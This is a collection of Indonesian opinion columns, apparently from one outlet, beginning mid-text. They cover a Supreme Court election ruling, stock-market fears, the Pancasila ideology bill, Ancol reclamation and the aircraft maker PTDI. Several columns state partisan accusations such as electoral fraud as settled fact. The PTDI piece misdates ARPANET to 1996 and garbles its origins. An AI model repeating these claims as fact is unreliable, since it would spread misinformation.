pihak. Mereka terdiri dari penyuruh (medeplichtige), pelaku (dader), dan turut serta (mededader). Mesti segera diusut oleh aparat hukum. Kedua, skandal korupsi. Bahwa iklim politik yang kapitalistik dan transaksional membuat dugaan kuat terjadinya korupsi suap atau gratifikasi pada pejabat di lingkungan Mahkamah Agung. KPK seharusnya mulai bergerak melacak skandal ini. Ketiga, ini adalah skandal politik. Presiden Jokowi bekerja dengan tingkat keabsahan yang diragukan. Paling kurang tanpa tanpa keabsahan hukum sebagai Presiden. Ini dapat "sudden death". Berhentikan dengan cepat. KPU mesti mencabut keputusan pemenang. Informasi penting yang nanti yang sangat signifikan juga bakal didapat dari pihak pemohon, yaitu Bu Rachmawati cs. Info penting itu untuk memulai pembongkaran skandal besar dalam proses politik di negeri ini. Keraguan sejak dini tentang kemenangan pasangan Jokowi-Ma'ruf Amin akan segera terjawab. Kebenaran akan terkuak. Putusan Mahkamah Agung menjadi sinyal bahwa kemenangan memang didapat dengan curang dan tidak legal. Penulis adalah Pemerhati Politik dan Kebangsaan

Pasar Modal Indonesia Diambang Kiamat

by Hersubeno Arief Jakarta FNN – Senin (06/07). Mantan Direktur Utama PT Bursa Efek Indonesia (BEI) Tito Sulistio membuat postingan (unggahan) mengerikan. Ekonomi Indonesia sedang dalam bahaya besar. Pasar modal Indonesia terancam ambruk (crash). Postingan (feed) Tito di Akun instagramnya Ahad (5/7) langsung viral. Bagaimanapun Tito bukan orang sembarangan. Kelasnya bukan netizen alay yang sedang galau. Curcol (curhat colongan) di medsos. Dia pelaku sekaligus pernah menjadi pemegang otoritas tertinggi di PT BEI (2015-2018). Jauh sebelum menjadi Dirut PT BEI Tito adalah pelaku di pasar saham. Setelah lengser, dia kembali menjadi salah satu pemain besar. Boleh dibilang hidupnya dari pasar saham. Dia bahkan dikenal sebagai maestro pasar modal Indonesia. Tito juga punya program membantu para pebisnis pemula yang tengah membangun perusahaan rintisan (start-up). Melalui IDX Incubator dia membantu sejumlah start-up masuk ke bursa saham, dan mendapatkan permodalan. Jadi feed Tito di akun Instagramnya harus disikapi sangat serius. Bursa saham Indonesia sedang tidak baik-baik saja. Bismilahirohmanirohim, tulis Tito memulai feed-nya.“Ya Allah, ya Tuhan kami. Saat ini pasar modal Indonesia sedang dalam cobaan berat. Engkau nyalakan api membara meluluh lantakan harga saham. Angin kencang Engkau tiupkan mengkocar-kacirkan para pemodal. Gempa menggoyang, menghancurkan dan menjatuhkan para pelaku. Bahkan hawa dingin Engkau hembuskan, membekukan langkah para regulator dan otoritas,” tulisnya. Dari unggahan itu kita dapat menangkap apa yang membuat risau Tito. Bursa saham sedang hancur-hancuran. Para pelakunya kocar-kacir. Sementara regulator dan otoritas (pemerintah) kebingungan. Tak melakukan apa-apa. Feed berikutnya memberi signal kondisi eknomi Indonesia yang menggiriskan (menakutkan). Orang Jawa menyebutnya nggegirisi! Menakutkan, mengerikan! “Ya Allah Yang Maha Kuasa. Industri pasar modal selalu menjadi signal perekonomian nasional. Saat ini panasnya api, dingin es, goyangnya gempa membuat industri pasar modal Indonesia penuh ketidak-pastian.” “Ya Allah ketidakpastian ini berdampak sistemik ke tata kelola Industri finansial lainnya, baik perbankan maupun asuransi, pada akhirnya bisa melemahkan daya beli masyarakat,” tulisnya. Bila kita cermati Tito menulis dengan penuh nada ketakutan. Harap-harap cemas, dan karena merasa mentok, akhirnya hanya bisa menyerahkan semuanya kepada Allah Yang Maha Kuasa. Rontoknya bursa saham memang sudah terbukti bersifat sistemik. Tahun 1929 bursa saham Wall Street di New York rontok. Peristiwa yang dikenal sebagai Black Tuesday ini mendorong hancurnya perekonomian negeri Paman Sam. Krisis besar melanda. Amerika Serikat mengalami Great Depression (1930). Kemudian menyebar ke seluruh dunia. Hancurnya pasar saham Indonesia dampaknya pasti tidak sebesar kejatuhan bursa saham Wall Street. Namun dipastikan akan sangat serius bagi Indonesia. Ekonomi hancur-hancuran akibat salah kelola, dihajar lagi dengan pandemi Corona. Wabah global juga menghancurkan ekonomi semua negara. Dunia diambang Great Depression Part 2. Sulit bagi pemerintah untuk membayangkan akan mendapat bantuan dari negara-negara lain, atau otoritas perekonomian dunia. Semua negara sedang butuh bantuan. Wajar bila Tito terkesan ketakutan. Kalkulasi manusia sudah tak mampu lagi menjawabnya. Tidak ada jalan lain kecuali mengadu kepada Allah Yang Maha Kuasa. Bagi yang kenal Tito sikap ini mengejutkan. Seorang teman yang mengaku kenal dekat secara bercanda menyatakan “luar biasa kalau Tito sudah mengadu ke Tuhan.” Pasti sudah sangat-sangat serius. Dia bukan pribadi yang anti Tuhan. Bahkan ke media dia selalu mengaku kesuksesannya berkat doa Ibunya yang rajin salat tahajud. Tapi dia pribadi yang rasional dan tidak relijius-relijius amat. Dengan meminjam sudut pandang Tito, kita memahami apa yang tengah terjadi. Kegalauan dan ketakutannya memperkuat kekhawatiran sejumlah kalangan. Ekonomi Indonesia sedang dalam bahaya. Tidak seindah seperti digambarkan oleh Menko Marinvest Luhut Panjaitan. Bank Dunia status Indonesia dinaikan dari negara dengan penghasilan menengah ke bawah ( middle lower income), menjadi menengah atas (upper middle income). Apa artinya status itu, kalau masyarakat tak punya daya beli? Ya Allah Yang Maha Pengasih, ampunilah kami. Ampunilah para pemimpin kami. Selamatkan bangsa kami. Amin…end. Penulis adalah Wartawan Sernior.

RUU HIP Itu Bukti Menghianati Bung Karno

by M Rizal Fadillah Jakarta FNN – Senin (06/07). Bahwa Bung Karno berpidato pada 1 Juni 1945 menawarkan rumusan ideologi negara apakah Pancasila, Trisila, atau Ekasila tak bisa dibantah sebagai fakta sejarah. Pidato "perasan" ini disampaikan di depan peserta sidang BPUPKI yang dipimpin dr. Radjiman Wedyodiningrat. Masalahnya adalah Ir. Soekarno sama sekali tidak menetapkan atau bersepakat dengan Pancasila rumusan 1 Juni tersebut. Masih mengambang, dan itu adalah sebatas tawaran pilihan dari Soekarno saja. Usulan dan pidato-pidato berikut dari para peserta sidang tidak menyepakati tawaran Bung Karno tersebut. Dalam rangka menggodok semua masukan peserta siding, maka dibentuklah Panitia Sembilan yang diketuai oleh Ir. Soekarno sendiri. Panitia Sembilan sepakat rumusan Pancasila sebagaimana yang dikenal dengan nama “Piagam Jakarta”. Sila pertama adalah "Ketuhanan dengan kewadjiban mendjalankan syari'at Islam bagi pemeluk-pemeluknja". Bung Karno tentu menandatangani rumusan Pancasila 22 Juni 1945 tersebut. Maka lahirlah Pancasila. Inilah Pancasila yang dilahirkan oleh BPUPKI. Oleh Ir. Soekarno. Makanya keliru jika menyatakan 1 Juni 1945 sebagai kelahiran Pancasila. Belum ada kesepakatan apa-apa saat itu. Masih penggodokan, adu konsep atau adu tawaran gagasan. Soekarno sendiri masih ragu soal Pancasila, sehingga merasa perlu menawarkan untuk dipertimbangkan alternatif Trisila dan Ekasila. Tawaran ini pun tidak mendapat sambutan apa-apa. Apalagi sampai persetujuan. Sama sekali tidak ada. Soekarno telah men"drop" tawarannya, dan tidak lagi mencoba untuk memperjuangkan pasca pidato. Tidak ada lobi-lobi yang "ngotot" untuk menggoalkan Trisila dan Ekasila. Fakta terakhir yang disetujui oleh Soekarno adalah Pancasila dengan rumusan sebagaimana tercantum dalam "Piagam Jakarta". Soekarno tidak menyesal atas tidak diterima tawaran "peras perasan" sila-sila pada Trisila dan Ekasila. Rumusan"Piagam Jakarta" adalah keyakinan dan kebenaran ideologi yang diterima Ir. Soekarno. Ini adalah rumusan ideal ideology Soekarno. Sekurangnya untuk saat itu 22 Juni 1945. Kini Soekarnois mencoba memasukan Pancasila (1 Juni 1945), Trisila, dan Ekasila dalam Pasal RUU HIP. Tidak disadari bahwa perjuangan ini adalah penghianatan pada diri Soekarno sendiri. Presiden pertama ini sudah men"drop" gagasan itu. Bahkan secara formiel dan materiel Soekarno sudah menerima. Soekarno sudah sepakat pada rumusan Pancasila 22 Juni 1945. Kemudiannya menjadi Rumusan Pancasila 18 Agustus 1945. Saat Dekrit 5 Juli 1959 Soekarno menyatakan bahwa Piagam Jakarta menjiwai UUD 1945, dan merupakan satu kesatuan dengan UUD tersebut. Tidak terlintas dalam fikiran Soekano bahwa ada Pancasila 1 Juni 1945 atau Trisila dan Ekasila itu menjadi jiwa dari UUD 1945. Menghidupkan sesuatu yang sudah dikubur oleh Soekarno sendiri merupakan upaya, yang bukan saja menghianati bangsa Indonesia. Tetapi juga menghianati pribadi proklamator bangsa Indonesia yang bernama Ir. Soekarno itu. Bilangnya sih menghormati Soekarno. Namun yang tidak disadari bahwa sebenarnya telah menghianati Soekarno. Penulis adalah Pemerhati Politik dan Kebangsaan.

Yang Bermasalah Itu Kalian, Bukan Pancasila

by Asyari Usman Jakarta FNN – Senin (06/07). Setelah gagal dengan RUU HIP yang bertujuan untuk memeras (ekstraksi) Pancasila menjadi Trisila-Ekasila, PDIP masih ingin ‘melanjutkan’ konstroversi soal Pancasila. Mereka mencoba mengajukan revisi. Sekarang, Banteng maju dengan perubahan judul RUU. Bukan lagi Haluan Ideologi Pancasila (HIP), tetapi Penguatan Ideologi Pancasila (PIP). Yang menjadi pertanyaan, apakah memang perlu ada UU untuk melindungi Pancasila sebagaimana diinginkan oleh PDIP? Mengapa partai ini bingung sekali menjaga agar Pancasila kuat dan menjadi ‘manual’ setiap manusia Indonesia? Sangat mengherankan. Untuk apa PDIP bingung? Untuk apa Bu Mega dan para elit politik, elit eksekutif, merasa resah? Mengapa Anda cemas, seakan rakyat tidak akan berpancasila? Sehingga, harus ada UU PIP atau sejenisnya? Bu Mega dan bapak-ibu sekalian yang sedang berkuasa, baik yang memiliki kekuasaan legislatif, eksekutif, dan kekuasaan ekonomi-keuangan! Yang harus Anda lakukan itu adalah melihat diri Anda sendiri. Berkaca, kata orang. Bapak-Ibu sekalian. Ada tiga kelompok manusia yang paling banyak merusak negara ini. Mereka merusak keadilan politik dan ekonomi. Merusak tatanan dan keadilan sosial. Merusak nilai-nilai moralitas. Dan juga merusak alam lingkungan hidup. Semua itu terjadi karena kerakusan. Rakus kekuasaan. Rakus kekayaan. Rakus syahwat hedonisme dan birahi. Siapakah ketiga kelompok yang merusak itu? Yang pertama, politisi. Yang kedua, penguasa eksekutif. Yang ketiga penguasa ekonomi-bisnis. Hebatnya, ada sekian banyak orang yang sekaligus memiliki ketiga macam kerakusan itu. Jadi, kalau Anda masuk ke dalam salah satu kategori di atas, itu berarti Anda berpotensi menjadi orang yang merusak negara ini. Atau, Anda malah sudah menjadi pelaku kerusakan itu. Hari ini, kalianlah yang sibuk dengan Pancasila. Sibuk mau memperkuat Pancasila. Seolah-olah kalianlah yang pantas menyandang predikat pancasilais sejati. Orang lain tidak. Seolah-olah kalianlah yang telah menerapkan nilai-nilai Pancasila itu. Orang lain tidak. Tapi, cobalah Anda berkaca. Lihatlah diri Anda sendiri. Bercerminlah. Apakah Anda sudah berpancasila? Apakah Anda tidak korupsi? Apakah Anda tidak menipu rakyat? Apakah Anda menang tanpa kecurangan dalam pemilihan umum? Apakah Anda tidak menggunakan cara sogok-menyogok untuk mendapatkan kekuasaan? Apakah Anda tidak menyalahgunakan kekuasaan? Apakah Anda tidak menumpuk kekayaan? Apakah Anda memperoleh kekuasaan politik, kekuasaan ekonomi-keuangan, dengan cara yang jujur? Apakah Anda memberikan atau mendapatkan hak pengelolaan sumber alam dengan cara yang jujur, tanpa sogok-menyogok? Apakah Anda tidak pernah menerima upeti (sogok) dari para penghisap kekayaan negara ini? Apakah Anda tidak ikut berlomba-lomba mengoleksi rumah mewah, mobil mewah, barang-barang mewah? Apakah rekening bank Anda isinya pernah tak sampai satu juta rupiah? Wahai para politisi, para penguasa ekeskutif, dan penguasa ekonomi-bisnis yang rakus-rakus! Banyak lagi pertanyaan yang perlu kalian jawab. Banyak lagi cermin yang harus kalian tatap. Dan banyak introspeksi yang harus kalian lakukan. Kalian perlu duduk tenang sambil merenungkan perilaku kalian. Kalian perlu mewaraskan diri agar bisa melihat apa yang kalian kerjakan, dan apa yang dikerjakan oleh rakyat. Supaya kalian sadar bahwa yang bermasalah itu kalian, bukan rakyat. Yang bermasalah itu kalian, bukan Pancasila. Pancasila tidak perlu diutak-atik. Pancasila tidak perlu diperkuat dengan undang-undang. Yang perlu direhabilitasi itu adalah isi kepala kalian. Yang harus disempurnakan adalah otak-otak kalian. Bukan Pancasila. Jadi, berhentilah mencari kesalahan di luar diri kalian. Sebab, semua persoalan bangsa dan negara ini ada di dalam diri Anda. Penulis adalah Penulis Wartawan Senior.

Mengapa Anies Keluarkan Pergub Baru Reklamasi?

by Tony Rosyid Jakarta FNN – Senin (06/07). Kok ada reklamasi baru? Bukannya Anies menentang reklamasi? Bahkan menghentikan reklamasi yang menjadi salah satu janji politiknya? Mengapa sekarang justru keluarin Pergub untuk reklamasi? Publik pun ramai menanggapi keluarnya Pergub tentang reklamasi tersebut. Publik tentu saja mempertanyakan kebijakan Anies yang tidak lagi konsisten dengan janji-janji kampanye. Sebab waktu kampanye, Anies berjanji menentang reklamasi, jika terpilih menjadi Gubernur DKI Jakarta. Masyarakat bahkan telah siap untuk menggelar demo. Sebab Anies dianggap nggak lagi konsisten. Tidak seiya sekata antara janji kampanye dengan kebijakan di lapangan. Janjinya menentang. Eh, setelah terpilih malah melakukan rekalamasi. Keluarlah Pergub tentang reklamasi di Ancol. Cerita awalnya begini. Pada tahun 2009, ada keputusan untuk mengeruk 5 waduk dan 13 sungai di Jakarta. Kenapa harus dikeruk? Alasannya untuk mengurangi banjir di Jakarta. Sudah sebelas tahun kegiatan tersebut berjalan. Kemana saja tanah hasil kerukan 5 waduk dan 13 sungai tersebut dibuang? Ternyata ke pantai utara Jakarta. Tepatnya di wilayah Ancol Timur dan Ancol Barat. Menempel langsung dengan area yang dikelola oleh Taman Impian Jaya Ancol. Saat ini, kurang lebih ada 20 hektare "Tanah Timbul" di Ancol Timur. Itu hasil dari pembuangan lumpur sungai yang sudah bertahan-tahun dikeruk. Dari pada tanah lumpur itu bercecer kemana-mana, dan justru merusak ekosistem laut secara masif, maka perlu ada penertiban. Tentu harus dengan mempertimbangkan hasil kajian dampak dan manfaatnya. Setelah dilakukan kajian. Diantaranya yang terkait dengan penanggulangan dampak banjir, pemanasan global, pengambilan material perluasan kawasan, prasarana dasar, dampak lingkungan dan sejenisnya, maka diputuskan untuk memanfaatkan timbunan lumpur yang sudah ada itu. Dimanfaatkan sebagai lokasi perluasan Taman Impian Jaya Ancol. Jika semula "Tanah Timbul" yang sudah mencapai 20 hektare itu dibiarkan begitu saja. Padahal tenah itu akan terus bertambah seiring dengan proses terus-menerus pembuangan hasil kerukan lumpur di 5 danau dan 13 sungai sebagai pengendalian banjir di Jakarta. Maka akan jauh lebih teratur, rapi dan bermanfaat jika ditertibkan. Cara menertibkannya dengan merapikan tumpukan "Tanah Timbul" tersebut menjadi daratan yang rapi. Yang bisa dimanfaatkan untuk bangunan maupun wisata. Untuk melakukan penertiban ini, tentu perlu legalitas. Untuk itu, ditertibkanlah Pergub untuk mengelolanya. Penetapan lokasi ini berpegang pada PKS antara Pemprov DKI Jakarta dan PT. Pembangunan Jaya Ancol pada tahun 2009 untuk perluasan lahan Ancol Timur seluas 120 hektare. Ingat, suah dari tahun 2009. Sudah sejak sebelas tahun yang lalu. Akan digunakan untuk apa saja? Salah satunya adalah untuk lahan museum Rasulullah. Yang peletakan batu pertamanya sudah dilakukan di bulan Februari lalu. Jadi, perluasan Taman Impian Jaya Ancol ini terkait dengan pengendalian banjir di Jakarta. Bukan asal reklamasi. Reklamasi ini sifatnya lebih menertibkan, merapikan, memanfaatkan dan memberi dasar hukum. Ada tidaknya perluasan Ancol, pembuangan lumpur hasil kerukan 5 waduk dan 13 sungai di Jakarta, akan terus berjalan dan memadati laut sebelah Timur dan Barat Ancol. Tahun demi tahun. Jika "Tanah Timbul" tak dirapikan, maka akan terjadi reklamasi alami tanpa memberi manfaat apapun, kecuali hanya mengganggu ekosistem. Juga akan menggangu pemandangan mata para nelayah dan kenyamanan wisatawan. Jadi, kalau ada yang berimajinasi bahwa penertiban "Tanah Timbul" yang nempel dengan pesisir Timur dan Barat Ancol ini sama dengan reklamasi 13 pulau yang dihentikan gubernur DKI, ya itu sih lebay saja. Mari buka dan lihat data baik-baik. Supaya lebih detil dan lengkap. Biar tak masuk dalam barisan salah paham. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Ingat, DPR Itu Bukanlah Dewan Perwakilan Rezim

by M Rizal Fadillah Jakarta FNN – Ahad (05/07). Rezim atau regime adalah bentuk pemerintah. Bisa juga seperangkat aturan, norma budaya atau sosial yang mengatur operasi suatu pemerintah atau lembaga dalam interaksinya dengan masyarakat. Menurut Kamus Besar Bahasa Indonesia (KBBI), rezim adalah tata pemerintah negara atau pemerintahan yang berkuasa. Sedangkan DPR adalah singkatan dari Dewan Perwakilan Rakyat. Pasti bukanlah DewanPerwakilan Rezim. Karenanya meskipun DPR dan Pemerintah sama-sama menjadi institusi supra struktur politik, namun memiliki posisi yang berbeda. Pemerintah adalah pengelola negara dan "memerintah" rakyat. Sedangkan DPR mewakili rakyat dan atas nama rakyat untuk mengawasi jalannya pemerintahan. Dalam kaitan Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP), penyimpangan dilakukan sejak dini. Penyimpangan dilakukan oleh menggagas tanpa keterlibatan rakyat. Gagasannyamuncul diam-diam. Tanpas diketahui oleh rakyat. Baru ketahuan setelah adanya penetapan kontroversial menjadi RUU. Rakyat teriak setelah RUU inisiatif Dewan ini diserahkan kepada Pemerintah. Pemerintah bersikap mengambang dan "cari aman". Bahasa yang dipakai oleh pemerintah adalah "menunda" peembahasan RUU. Mungkin juga harapannya terganjal. Ungkapan ketidaktahuan 100 % Presiden dipastikan hoaks. Gelombang penolakan ternyata sangat masif dan dahsyat. Baik itu dalam bentuk deklarasi atau aksi. Hampir terjadi di seluruh Indonesia. Intinya mendesak RUU HIP agar dicabut atau dibatalkan pembahasannya lebih lanjut. Tidak ada negoisisasi untuk direvisi atau diganti namanya. Rakyat sebagai pemilik negara sudah punya penilaian sendiri. Rakyat sudah punya kesimpulan bahwa RUU HIP ini berbau neo Komunisme. RUU ini untuk membuka peluang bagi bangkitnya PKI. Misi terselubung dari konseptor atau pengusul terkuak oleh publik. Tuntutan pengusutan juga mengemuka. DPR anehnya belum mengambil sikap yang jelas juga. Bahkan ada yang mencoba untuk mengotak-atik. Misalnya, dengan mengubah judulnya, dari sebelumnya HIP menjadi Pembinaan Ideologi Pancasila (PIP). Meski ada perbedaan isi dan arah, tetapi bahasan RUU ini sudah kehilangan ruh. Sudah kadaluarsa. Mengganti judul RUU, apapun namanya, apakah itu PIP, BIP, SIP, RIP atau lainnya sudah tidak berguna lagi. Suara rakyat sudah sangat jelas dan tegas. Rakyat hanya ingin menolak, hentikan atau batalkan. Lagi pula dengan mengganti nama dan isi RUU, seharusnya masuk dalam proglegnas baru. Dari awal lagi. Jika terus mengambang, apalagi hendak mengalihkan pembahasan RUU hanya sebagai bekal buat BPIP semata, maka DPR yang telah mengabaikan suara rakyat. DPR akan menghadapi teriakan rakyat yang lebih keras lagi. Terutama kepada partai-partai di DPR yang dianggap rakyat "tuli" dan "buta". Yang berani dan mencoba-coba mengabaikan aspirasi rakyatnya. Menipu rakyat dengan geseran bahasan, justru akan menggeserkan tekanan pula. Jika BPIP menjadi sentral, maka suara rakyat akan terarah kepada BPIP dan instansi yang berada di belakangnya. Seruan rakyat kelak bisa berubah drastic, menjadi "bubarkan BPIP". Bisa juga "turunkan penanggung jawab yang berada di belalang BPIP". Bukan mustahil Presiden akan menjadi sasaran berikutnya. Sekedar meningkatkan bahwa status dan dasar pengaturan BPIP dari "Perpres" menjadi "Undang-Undang" juga terlalu berlebihan. Hanya buang-buang enerji untuk hal yang tidak penting untuk rakyat. Sudah sangat jelas, kalau DPR dengan RUU inisiatifnya ini menjadi lembaga penyalur kepentingan Pemerintah. Padahal BPIP yang bentukan Presiden ini dinilai rakyat sudah tidak bermanfaat. Hanya buang-buang anggaran hampir satu triliun rupiah setiap tahun untuk hal yang sama-sekali tidak dirasakan manfaatnya oleh. Mendingan dana tersebut dipakai untuk membantu ekonomi yang lagi kekusahan. Lebih efektif. Ketika DPR diam atau "buta" dan "tuli" terhadap aspirasi rakyat, yang mendesak agar RUU HIP dibatalkan atau dihentikan, maka DPR telah menempatkan dirinya bukan lagi sebagai "Wakil Rakyat". Yang didengar dan diperjuangkan adalah kepentingan. Jika bukan karena kepentingan Pemerintah, maka itu adalah untuk dirinya sendiri. Juga kepentingan Partai Politiknya. RUU HIP menjadi bukti dan alat uji atas pertanyaan mendasar. Apakah saat ini DPR itu adalah Dewan Perwakilan Rakyat atau Dewan Perwakilan Partai? Jangan-jangan memang telah berubah menjadi Dewan Perwakikan Rezim? Penulis adalah Pemerhati Politik dan Kebangsaan.

PTDI dan Bangkitnya Industri Pesawat Terbang Nusantara

by Delianur Jakarta FNN – Sabtu (04/07). Bagi masyarakat Indonesia, khususnya warga Bandung, yang hidup di era 80-an, pasti familiar dengan nama PT Nurtanio. Yang kemudian berubah menjadi PT IPTN (Industri Pesawat Terbang Nusantara). Pada zaman ketika istilah BUMN belum dikenal publik, menjadi pegawai IPTN adalah angan-angan kebanyakan orang. Apalagi anak muda. IPTN sendiri memang memenuhi syarat menjadi idaman banyak orang dalam membangun karir. Perusahaan negara ini bukan hanya dipimpin oleh orang yang mempunyai kedekatan khusus dengan Presiden, tetapi juga menjadi salah satu perusahaan pijakan utama Presiden dalam membangun Indonesia masa depan. Tidak aneh bila pemerintah memberikan dukungan penuh. Pada masa Indonesia sedang menghadapi booming dengan harga minyak. Juga pada saa kekuasaan eksekutif yang begitu besar, pastinya sulit untuk membayangkan di kemudian hari perusahaan ini akan dinyatakan pailit. Apalagi Di luar sisi politis diatas, IPTN juga mempunyai brand image sangat positif di tengah masyarakat. Pekerjaan utamanya meneliti dan memproduksi pesawat terbang. Ini adalah kerja yang berkaitan dengan kecerdasan dan kepintaran. Di tengah masyarakat agraris, hanya segelintir orang yang bisa mengerti teknologi kedirgantaraan. Karenanya hanya orang pintar dan cerdaslah yang dianggap bisa menjadi bagian dari perusahaan ini. Terlebih Habibie yang menjadi penggagas dan pemimpin IPTN juga adalah figur yang jenius bidang teknologi. Karenanya, lengkaplah kelebihan IPTN dibanding perusahaan lain. Secara finansial terjamin karena menjadi perhatian negara yang sedang digdaya secara ekonomi dan politik. IMF Minta IPTN Dilepaskan Secara reputasi sangat meyakinkan. Karena berkaitan dengan kecerdasan dan teknologi masa depan. Terlebih ketika IPTN berhasil membuat pesawat rancangan dan produksi sendiri pertama pada 1995, jenis N250 Gatot Kaca. Namun sayang. Sebagaimana diketahui, keunggulan utama itu jatuh seketika. Keunggulan politis dan reputasi IPTN yang bergerak dalam teknologi terkini dan tercanggih, sirna. Awalnya adalah krisis moneter di beberapa kawasan pada tahun 1997, yang juga menyeret Indonesia. Krisis ini bukan hanya membuat harga-harga melambung tinggi, tetapi juga membuat keuangan negara terkuras. IPTN yang keberadaannya selama ini ditopang pemerintah, pastinya mengalami imbasnya. Namun itu ternyata baru awal. Ketika permohonan bantuan ke IMF menjadi solusi utama, IPTN menghadapi krisis yang lebih serius. Sebab IMF menyatakan bahwa untuk menyelamatkan ekonomi Indonesia, maka proyek dirgantara berbiaya tinggi seperti IPTN harus segera dilepaskan dari tanggungan negara. Resep IMF ini mau tidak mau mesti diikuti. Permintaan dan ususl IMF merupakan bagian dari kesepakatan pinjaman yang akan diberikan IMF ke Indonesia. Puncaknya adalah ketika Presiden Soeharto mundur pada tahun 1998. Presiden yang selama ini membanggakan IPTN dan memberi banyak privillege ke IPTN, tidak berkuasa lagi. Namun kejatuhan IPTN bukan hanya berkaitan dengan dukungan politik dan ekonomi yang hilang seketika. Tetapi juga arah perkembangan Ilmu Pengetahuan dan Teknologi yang bergerak di luar dugaan. Sebelumnya orang menganggap bahwa teknik dan mesin adalah masa depan. Karenanya IPTN yang bergerak di bidang ini, sangat strategis. Tetapi ternyata tidak seperti itu. Untung 2019 U$ 10,5 Juta Dollar Berawal dari Departemen Pertahanan Amerika Serikat, yang sejak tahun 1996 yang mengembangkan proyek Advanced Research Project Agency Network (ARPANET). Sebuah proyek pembuatan sistem jaringan komputer untuk menghubungkan daerah-daerah vital. Tujuannya untuk kelancaran distribusi informasi dan komunikasi. Proyek APRANET ini awalnya hanya menghubungkan empat situs saja, yaitu Stanford Research, University of California, Santa Barbara, dan University of Utah. Namun ternyata proyek ini berkembang sangat pesat. Semua universitas di Amerika ingin bergabung dengan proyek ini. Projek jarigan inipun dibagi dua. Milnet untuk keperluan militer, dan Arpanet untuk kepentingan universitas-universitas. Gabungan keduanya diberi nama Darpa Internet yang kemudian disederhanakan dengan sebutan internet. Sampai akhirnya internet diperkenalkan ke public. Maka internet bukan hanya menjadi bagian dari kehidupan manusia sehari-hari, tetapi juga kehidupan masa depan. Dalam dunia internet, masa depan adalah informasi dan data. Algorithma, Big Data, Artificial Intellegence adalah harapan kehidupan masa depan. Akselerasi manufaktur ke depan, bukan hanya bertopang pada temuan bidang mesin.Tetapi pada pengelolaan data. Masa depan itu bukan Teknologi Dirgantara dengan mesin dan teknik sebagai instrumen utama. Tetapi teknologi informasi dengan Data Sciencenya. Bekerja di PT Telkom atau membuat start up, terdengar lebih seksi dan bereputasi ketimbang bekerja di PT Dirgantara Indonesia. Nama baru IPTN setelah krisis moneter. Namun entah bagaimana, bila kita melihat catatan keuangan yang tersebar di media, PT Dirgantara Indonesia (PTDI) ini bisa pulih. Meski rugi hingga Rp. 3,92 triliun dengan ekuitas negatif Rp. 14,67 miliar pada 2007. Sejak tahun 2009 sampai 2014 PTDI memperoleh kontrak Rp. 18,95 Triliun dan penjualan Rp 13,97 triliun, yang terdiri dari kontrak dengan pemerintah, 70%, dan non-pemerintah luar negeri 30%. Karenanya di akhir tahun 2014, PTDI mendapat laba sebesar U$ 19,3 Juta dolla atau setara dengan Rp. 250 milyar. Meskipun perusahaan dirgantara global terus meningkat. Terakhir tahun 2019 dinyatakan bahwa pendapatan perseroan naik hingga U$ 259,7 juta dollar, sehingga bisa menghasilkan laba bersih U$ 10,5 juta dollar atau setara dengan Rp. 150 miliar. Bangkit dan Luncurkan N-219 Nurnatio Puncak kebangkitan PTDI sepertinya terlihat ketika perusahaan negara ini berhasil launching pesawat terbarunya “N-219 Nurtanio”. Sebuah pesawat komersial yang serbaguna. Bisa membawa 19 penumpang dan juga kargo serta terbang dan mendarat di landasan pendek. Sangat cocok beroperasi untuk negara seperti Indonesia yang memiliki banyak pulau dan daerah terpencil. N-219 Nurtanio sendiri bukan hanya sangat penting bagi PTDI. Tetapi juga bagi industri pesawat terbang nusantara. Karena industri dirgantara meyakini bahwa memproduksi pesawat komersil akan menjadikan perusahaan lebih stabil dan mendapat keuntungan yang lebih besar. Keuntungan besar untuk pesawat komersial, ketimbang hanya menerima dan mendapat kontrak kerja dengan militer atau sub kontraktor perusahaan dirgantara dunia. Seperti yang sudah ditunjukan oleh dua raksasa dirgantara dunia Airbus dan Boeing. Terlebih lagi design dan produksi N-219 Nurtanio semuanya dilakukan oleh orang Indonesia. Bila kita membaca catatan perjalanan PTDI setelah kebangkrutan, sepertinya kita memang harus memberikan kredit point kepada direksi dan pegawai PTDI hasil restruksasi pasca krisis moneter. Perusahaan ini sempat dicibir karena menerima kontrak pekerjaan pembuatan panci. Namun dibalik itu, sebetulnya terlihat ada semangat kebangkitan yang luar biasa besar dan membaja. Itikad untuk memulai kembali dari dasar, dengan mengerjakan apa saja yang bisa dikerjakan. Sampai-sampai harus mengerjakan sesuatu yang tak pernah terbayang sebelumnya, yaitu memproduksi panci. Semua menjadi tekad kuat untuk bangkit, bangkit dan bangkit. Hanya itu yang melekat pada seluruh personil PTDI ketika itu, sehingga bisa mencetak labah bersih 2019 lalu. Hal yang paling menarik adalah ketika PTDI launching N-219 Nurtanio pada tahun 2017 lalu. Sebagaimana disebut sebelumnya, bahwa memproduksi pesawat komersial adalah tujuan besar sebuah pabrik pesawat. Karena dengan memproduksi pesawat komersil, perusahaan akan lebih stabil dan maju. Tidak lagi mengandalkan pekerjaan sebagai sub kontraktor dari Kementerian Pertahann tertentu. Karenanya memproduksi pesawat berpenumpang kecil seperti N-219 Nurtanio, adalah langkah awal untuk masuk ke pembuatan perusahaan komersial yang berkapasitas lebih besar lagi. Namun dalam rancangan dan pembuatan pesawat baru bukanlah proses satu daua tahun, tetapi lebih dari lima tahun. Menurut wikipedia, ide N-219 dimulai pada tahun 2003. Bagian dari pembenahan yang berjalan sampai lima tahun ke depan. Langkah ini diambil untuk mengantisipasi beberapa lini produk seperti CN-212, NAS-332 Super Puma, BO-105 dan Bell 412. Proyek ini juga diharapkan membuka kerjasama antar negara Asia Tenggara. Jadi, ketika orang mencibir PTDI karena sudah mendegradasi dirinya dari pabrik pesawat terbang yang bernuansa hi-tech dengan memproduksi panci yang tidak ada kandungan teknologinya. Pada saat yang bersamaan PTDI ternyata sedang merancang masa depan. Merencanakan untuk membuat pesawat baru dengan rancangan dan produksinya dilakukan sendiri. Jadi, bila PTDI sebelumnya lekat dengan figur Almarhum B.J Habibie yang ambisius dan suka bergerak cepat, sekarang PTDI seperti berjalan lambat, tapi pasti. Mungkin karena ini juga Almarhim B.J Habibie sempat gemas dan nyeletuk kalau N-219 itu pesawat maianan. Namun bila PTDI berhasil berbenah seperti sekarang, maka dia tidak hanya berhasil membangkitkan kembali industri dirgantara nasional. Namun juga menyambut ide Almarhum B.J Habibie tentang R-80. Sebuah pesawat baling-baling yang mampu membawa 80-90 penumpang untuk penerbangan dan landasan jarak pendek. Pesawat jenis R-80 bukan hanya dibutuhkan oleh negara seperti Indonesia. Tetapi juga 